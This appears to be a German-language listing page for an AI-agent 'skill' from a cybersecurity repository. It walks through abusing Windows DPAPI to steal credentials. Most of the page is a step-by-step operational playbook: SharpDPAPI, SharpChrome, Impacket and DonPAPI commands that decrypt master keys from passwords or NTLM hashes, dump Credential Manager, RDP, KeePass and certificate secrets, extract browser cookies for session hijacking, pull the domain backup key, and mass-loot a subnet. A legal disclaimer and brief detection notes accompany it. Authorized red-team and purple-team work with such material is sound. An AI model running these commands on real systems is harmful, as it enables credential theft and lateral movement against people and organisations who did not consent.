Communitygithub.com

Abusing DPAPI for Credential Access

Extrahiere und entschlüssele Windows DPAPI-geschützte Geheimnisse (Credential Manager, Browser-Logins/-Cookies, WLAN-Zugangsdaten, KeePass-Schlüssel) online oder offline mit SharpDPAPI, SharpChrome, Mimikatz oder Impacket.

Was ist Abusing DPAPI for Credential Access?

Diese Fähigkeit ermöglicht es, die Windows Data Protection API (DPAPI) auszunutzen, um verschlüsselte Geheimnisse wiederherzustellen, die von Anwendungen wie dem Credential Manager, Chromium-Browsern (Edge/Chrome), KeePass und RDP-Clients gespeichert werden. DPAPI schützt Daten mit einem nutzer- oder maschinenbezogenen Master-Key, der wiederum durch das Benutzerpasswort, den NTLM-Hash oder einen domänenweiten Backup-Key entschlüsselt werden kann. Das Skill-Set bietet drei Hauptansätze: Online-Entschlüsselung innerhalb der Benutzersession (über die `CryptUnprotectData`-API), Offline-Entschlüsselung mit Passwort/Hash des Benutzers und domänenweite Entschlüsselung mit dem DPAPI-Backup-Key eines Domain-Admins. Eingesetzt werden Tools wie SharpDPAPI, SharpChrome, Mimikatz und Impacket. Der Workflow beginnt mit dem Triage des Systems, gefolgt von der Master-Key-Entschlüsselung und der Extraktion der jeweiligen Geheimnisse, wie RDP-Passwörter, KeePass-Schlüssel und Browserdaten. Die Fähigkeit deckt MITRE ATT&CK-Techniken T1555.004 (Credentials aus Password Stores: Windows Credential Manager) und T1555.003 (Credentials aus Web-Browsern) ab. Der Benutzer sollte sich der rechtlichen und ethischen Implikationen bewusst sein und nur mit entsprechender Autorisierung handeln.

Funktioniert mit~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-dpapi-for-credential-access

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

Dokumentation

Was macht Abusing DPAPI for Credential Access?

Rechtlicher Hinweis: Diese Fähigkeit ist ausschließlich für autorisierte Penetrationstests, Red-Team-Aufträge und zu Bildungszwecken bestimmt. Das Extrahieren von Zugangsdaten von Systemen, die Sie nicht besitzen oder für die Sie keine explizite schriftliche Genehmigung zum Testen haben, ist illegal und kann gegen geltende Computerbetrugs- und Missbrauchsgesetze verstoßen. Handeln Sie stets im Rahmen einer unterschriebenen Rules-of-Engagement und dokumentieren Sie jede Aktion.

Überblick

Die Windows Data Protection API (DPAPI) ist der systemeigene symmetrische Verschlüsselungsdienst des Betriebssystems, den Anwendungen nutzen, um Geheimnisse im Ruhezustand zu schützen: gespeicherte RDP- und Windows Credential Manager-Zugangsdaten, Web- und WLAN-Anmeldedaten im Credential Vault, gespeicherte Browser-Logins und -Cookies (Chrome/Edge), KeePass-Schlüssel, private Zertifikatschlüssel und geplante Aufgaben-Passwörter. DPAPI leitet einen benutzer-(oder maschinen-)bezogenen Master-Key aus dem Benutzerpasswort (oder dem Maschinenkonten-Geheimnis) ab, und dieser Master-Key verschlüsselt einzelne "DPAPI-Blobs". Die verschlüsselten Master-Keys liegen unter %APPDATA%\Microsoft\Protect\<SID>\ (Benutzer) und %WINDIR%\System32\Microsoft\Protect\ (Maschine).

Red-Team-Mitglieder missbrauchen DPAPI, um Klartext-Geheimnisse wiederherzustellen, nachdem sie einen Fuß gefasst haben, und ordnen dies MITRE ATT&CK T1555.004 (Credentials from Password Stores: Windows Credential Manager) zu. Es gibt drei primäre Entschlüsselungspfade:

  1. Online / kontextbasiert – Bei Ausführung als Zielbenutzer entschlüsselt die DPAPI-API (CryptUnprotectData) die Blobs des Benutzers transparent. SharpDPAPIs /unprotect-Flag verwendet dies.
  2. Offline mit dem Benutzerpasswort oder NTLM-Hash – Entschlüsseln Sie die Master-Keys des Benutzers mit /password: oder /ntlm:, dann entschlüsseln Sie die Blobs offline (ideal für triagierte, von einem Host abgeholte Dateien).
  3. Domänenweit mit dem DPAPI-Backup-Key – Domain-Admins können den RSA-DPAPI-Backup-Key der Domäne (.pvk) einmal extrahieren und dann alle Master-Keys jedes Domänenbenutzers für immer online oder offline mit /pvk: entschlüsseln.

Die kanonischen Werkzeuge sind SharpDPAPI (GhostPack, ein C#-Port der DPAPI-Funktionalität von Mimikatz) für Windows, SharpChrome für Browser-Geheimnisse und Mimikatz (dpapi::*) als ursprüngliche Implementierung. Unter Linux führen Impackets dpapi.py und donpapi eine ferne/offline Triage durch.

Wann es zu verwenden ist

  • Nach Kompromittierung eines Windows-Hosts, bei dem der Benutzer RDP-, Browser- oder Vault-Zugangsdaten gespeichert hat, die für die seitliche Bewegung lohnenswert sind.
  • Wenn Sie das Passwort oder den NTLM-Hash eines Benutzers haben und dessen DPAPI-geschützte Geheimnisse offline entschlüsseln möchten.
  • Wenn Sie Domain-Admin sind und den DPAPI-Backup-Key der Domäne erhalten möchten, um geschützte Daten jedes Benutzers in der gesamten Umgebung zu entschlüsseln.
  • Beim Triagieren exfiltrierter Verzeichnisse wie Credentials, Vault oder Protect aus Datenträgerimages.
  • Während Purple-Team-Übungen zur Validierung der Erkennung von DPAPI-Master-Key-Zugriffen und LSASS/Protect-Ordner-Lesevorgängen.

Voraussetzungen

  • Ein autorisierter Fuß im Netz (interaktive Sitzung, Beacon oder Remote-Admin) auf dem Ziel-Windows-Host.
  • Kenntnis der SID des Zielbenutzers und eines der folgenden: Benutzersitzung, Passwort, NTLM-Hash oder Domain-Admin-Rechte für den Backup-Key.
  • Werkzeuge (aus dem Quellcode kompilieren oder Release-Binärdateien verwenden; nur von offiziellen Upstream-Quellen beziehen):
# SharpDPAPI / SharpChrome (GhostPack) – mit Visual Studio / msbuild bauen
git clone https://github.com/GhostPack/SharpDPAPI.git
# SharpDPAPI.sln öffnen und Release bauen, oder:
msbuild SharpDPAPI.sln /p:Configuration=Release

# Mimikatz (ursprüngliche DPAPI-Implementierung)
# https://github.com/gentilkiwi/mimikatz/releases

# Linux Remote/Offline Triage (Impacket)
pipx install impacket            # stellt dpapi.py / impacket-dpapi bereit
pipx install donpapi             # https://github.com/login-securite/DonPAPI

Ziele

  • Einen Host auf DPAPI-geschützte Anmeldeinformations-, Vault-, RDP- und Zertifikats-Blobs triagieren.
  • Benutzer-Master-Keys online (/unprotect), mit einem Passwort/Hash oder mit dem Domänen-Backup-Key entschlüsseln.
  • Klartext-Geheimnisse aus Credential Manager und Vault wiederherstellen.
  • Gespeicherte Browser-Logins und -Cookies mit SharpChrome extrahieren.
  • Den DPAPI-Backup-Key der Domäne abrufen und für die entschlüsselung in der gesamten Umgebung wiederverwenden.

MITRE ATT&CK Mapping

Technik-IDNameTaktikRelevanz
T1555.004Credentials from Password Stores: Windows Credential ManagerCredential AccessDPAPI schützt Credential Manager / Vault-Einträge; die Entschlüsselung von Master-Keys und Blobs stellt diese gespeicherten Anmeldedaten wieder her.
T1555.003Credentials from Password Stores: Credentials from Web BrowsersCredential AccessSharpChrome entschlüsselt DPAPI-geschützte Chrome/Edge-Logins, -Cookies und State-Keys.
T1003OS Credential DumpingCredential AccessDas Extrahieren von Master-Keys / Backup-Keys ist eine Form des Credential Material Dumpings.

Arbeitsablauf

1. Host auf DPAPI-Blobs triagieren

Führen Sie den SharpDPAPI-Befehl triage im Kontext des Benutzers aus, um automatisch Anmeldedaten, Vaults, RDG/RDP-Dateien und Zertifikate zu enumerieren und (wo möglich) zu entschlüsseln:

# Online-Triage im Kontext des aktuellen Benutzers (verwendet CryptUnprotectData)
SharpDPAPI.exe triage /unprotect

# Maschinen-Triage (erfordert lokalen Admin / SYSTEM) für maschinenbezogene Blobs
SharpDPAPI.exe machinetriage

2. Benutzer-Master-Keys offline entschlüsseln (Passwort oder NTLM-Hash)

Wenn Sie das Passwort oder den Hash des Benutzers haben, entschlüsseln Sie dessen Master-Keys in eine {GUID}:SHA1-Zuordnung, die Sie dann gegen einzelne Blobs wiederverwenden können:

# Alle Master-Keys des aktuellen/angegebenen Benutzers mit dem Passwort entschlüsseln
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

# Master-Keys mit dem NTLM-Hash des Benutzers anstelle des Passworts entschlüsseln
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

# Ausgabe sind GUID:SHA1-Zeilen – an die Befehle für Anmeldedaten/Vaults übergeben

3. Credential Manager- und Vault-Geheimnisse wiederherstellen

Verwenden Sie die entschlüsselte Master-Key-Zuordnung (oder /pvk:), um die gespeicherten Anmeldedaten und Vault-Einträge zu entschlüsseln:

# Credential Manager-Blobs mit einer GUID:SHA1-Zuordnung entschlüsseln
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# Oder auf einen Ziel-Credentials-Ordner zeigen und mit dem Domänen-Backup-Key entschlüsseln
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

# Credential Vault-Einträge entschlüsseln
SharpDPAPI.exe vaults /pvk:backupkey.pvk

4. RDP-, KeePass- und Zertifikats-Geheimnisse entschlüsseln

# Gespeicherte RDCMan.settings RDP-Passwörter (aktueller Benutzerkontext)
SharpDPAPI.exe rdg /unprotect

# KeePass DPAPI-geschützte Master-Keys
SharpDPAPI.exe keepass /unprotect

# Private Zertifikatschlüssel (exportieren Sie nutzbare .pem mit /showall für alle Speicherorte)
SharpDPAPI.exe certificates /unprotect /showall

5. Browser-Anmeldedaten mit SharpChrome extrahieren

SharpChrome entschlüsselt Chrome/Edge-Logins und -Cookies. Modernes Chromium verwendet einen anwendungsgebundenen "State Key", den SharpChrome über DPAPI auflöst:

# Gespeicherte Logins für den aktuellen Benutzer entschlüsseln
SharpChrome.exe logins /unprotect

# Cookies (nützlich für Session-Hijacking) in einem Zielordner entschlüsseln
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

# Den AES-State-Key explizit auflösen
SharpChrome.exe statekeys /unprotect

6. Den DPAPI-Backup-Key der Domäne abrufen (Domain-Admin)

Mit Domain-Admin-Rechten den privaten RSA-DPAPI-Backup-Key der Domäne einmal abrufen. Dieser Key entschlüsselt die Master-Keys jedes Domänenbenutzers dauerhaft:

# Den Domänen-Backup-Key als .pvk über die MS-BKRP-RPC-Schnittstelle abrufen und speichern
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk

Dann offline die Master-Keys jedes Benutzers damit entschlüsseln:

SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

7. Ferne / Linux-basierte Triage (Impacket / DonPAPI)

Von einem Linux-Operator-Computer aus DPAPI-Geheimnisse über mehrere Hosts hinweg sammeln und entschlüsseln:

# Eine einzelne Master-Key-Datei mit Impacket und dem Domänen-Backup-Key entschlüsseln
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk

# Einen Anmeldeinformations-Blob mit dem wiederhergestellten Master-Key entschlüsseln
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>

# Massenhaft ferne DPAPI-Plünderung über Hosts hinweg mit DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

Werkzeuge und Ressourcen

WerkzeugZweckLink
SharpDPAPIWindows DPAPI Triage/Entschlüsselung (C#)https://github.com/GhostPack/SharpDPAPI
SharpChromeEntschlüsselung von Chromium-Logins/-Cookies/State-Keyshttps://github.com/GhostPack/SharpDPAPI
MimikatzUrsprüngliche DPAPI (dpapi::*)-Implementierunghttps://github.com/gentilkiwi/mimikatz
Impacket dpapi.pyFerne/Offline DPAPI-Entschlüsselung (Python)https://github.com/fortra/impacket
DonPAPIMassenhafte ferne DPAPI-Plünderunghttps://github.com/login-securite/DonPAPI
HackTricks DPAPITechnikreferenzhttps://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

Erkennungs- und OPSEC-Hinweise

  • Der Zugriff auf Master-Keys und Lesevorgänge in \Microsoft\Protect\ und \Microsoft\Credentials\ sind erkennbar; backupkey löst einen MS-BKRP-RPC-Aufruf an den DC aus.
  • Der /unprotect (Online)-Pfad ist die unauffälligste Einzelhost-Option, funktioniert aber nur als der aktive Benutzer.
  • Verteidiger sollten auf Sysmon-Prozesszugriffe auf LSASS und ungewöhnliche Zugriffe auf Protect-/Credentials-Ordner achten (DE.CM-01).

Validierungskriterien

  • Host mit SharpDPAPI triage / machinetriage triagiert.
  • Benutzer-Master-Keys über /unprotect, /password:, /ntlm: oder /pvk: entschlüsselt.
  • Credential Manager- und Vault-Geheimnisse wiederhergestellt.
  • RDP-/KeePass-/Zertifikats-Geheimnisse extrahiert, wo vorhanden.
  • Browser-Logins/-Cookies mit SharpChrome entschlüsselt.
  • Domänen-DPAPI-Backup-Key mit Domain-Admin abgerufen (falls im Umfang) und offline wiederverwendet.
  • Alle wiederhergestellten Geheimnisse mit Quellhost/-Benutzer dokumentiert und Einhaltung der ROE bestätigt.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

Verwandte Skills